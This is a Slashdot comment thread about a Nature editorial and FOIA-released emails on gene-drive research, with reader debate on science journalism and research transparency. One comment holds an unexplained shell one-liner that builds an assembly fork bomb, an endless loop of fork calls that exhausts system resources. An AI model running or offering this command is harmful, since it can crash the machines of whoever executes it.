Slashdot Mirror
'Nature' Editorial Juxtaposes FOIA Email Release With Illegal Hacking (vice.com)
Jason Koebler and Sarah Emerson, reporting for Motherboard: Private emails between scientists working on a controversial genetic technology called "gene drive" were released last week. Obtained through a Freedom of Information Act (FOIA) request, their publication has been criticized by some as an attempt to discredit the science community. Gene drives are a genetic engineering approach with huge implications. They're meant to seed genetic traits -- one that stops mosquitoes from carrying malaria, for instance, or hampers invasive rodents' ability to reproduce -- in a population, and with terrifyingly high odds of inheritance. If things go wrong, gene drives could destabilize ecosystems. (So far, they've only been applied to yeast, fruit flies, and mosquitoes in a lab setting.) More ideally, they could wipe out deadly plagues by targeting their vectors, or give threatened species a fighting chance. Like any young technology, there are a lot of unknowns, and stakeholders are hoping to provide clarity at the United Nations Convention on Biological Diversity next year; the same convention where a proposed gene drive moratorium was rejected in 2016. The emails and other documents reveal details about gene drive's biggest funders, including DARPA, the US military's research agency.
Gene drives are a genetic engineering approach with huge implications. They're meant to seed genetic traits -- one that stops mosquitoes from carrying malaria, for instance, or hampers invasive rodents' ability to reproduce -- in a population, and with terrifyingly high odds of inheritance. [snip]. (So far, they've only been applied to yeast, fruit flies, and mosquitoes in a lab setting.)
Fiddlestocks! yeast, fruit flies.... yikes!
Just imagine letting it lose among the terrorists and criminals. No body would object to fighting terrorists and criminals, right? And then, get this Pinky, this is where my genius idea comes in. We just have to mark any one opposed to us as criminals, and wow! We will get the world dominating thing done before the first commercial break!
But Brain, who would oppose this? We will take over the world, like we always do
What's the we you are talking about Kemo Sabe? Anyone who might oppose would be next. Any lab rat with less gray matter and more pink skin...
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
"One of science's most important publications assumes science journalists don't know how to do their jobs." Having seen what "science journalism" looks like that would be a fair assumption. At least if you assume that their jobs includes counting truth and reality as more important than fear derived sales/attention and interest generating arguments form "balance" between qualified individuals and the cranks presented as their equals.
Maybe the humans will win out, maybe the Gillmen or the Molemen or the Centaurs or the AIs. Whatever, it's survival of the fittest.
Even if the species that wins out isn't humans and is a bit janky in the long run, they'll know enough about how they were constructed to rollback the bad changes in Version 2.0
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
While I understand and agree with FOIA for government and employees of government agencies, does it not seem strange to anyone else that it applies to research scientists in universities?
As one example, a prominent researcher in the Chronic Fatigue Syndrome field continues to make 'harrasment' allegations and veiled claims of threats, even after their university has revealed no threats were reported to them, and failing to bring up those threats when legal proceedings were mentioned.
Such 'harrasment' included FOIA, and questions being asked in parliament, and 'libelous blogs'.
http://www.virology.ws/2017/05/03/trial-by-error-continued-my-libelous-blogging-on-virology-blog/
After continually refusing to release information (as required by PLOS rules) a paper gets a warning attached to it:
http://retractionwatch.com/2017/05/02/plos-upgrades-flag-controversial-pace-chronic-fatigue-syndrome-trial-authors-surprised/
They claim to be willing to share the data, in practice they are only willing to share the data with researchers who agree with them, and they can pre-vet.
After this data was obtained (part of it) though freedom of information requests, it turned out that the analysis done on it was at best sketchy and misleading on claims of recovery.
...I have more fears regarding the consequences of accidental fuckups with these sorts of things than I do of nuclear plants, Donald Trump, DPRK, and climate change all bundled together.
-Styopa
Because science seeks reality, and reality is the number one ennemy of those who seek to control us.
Looks like scientists are going to have to resort to end-to-end encryption in their communications in order to be able to work in peace.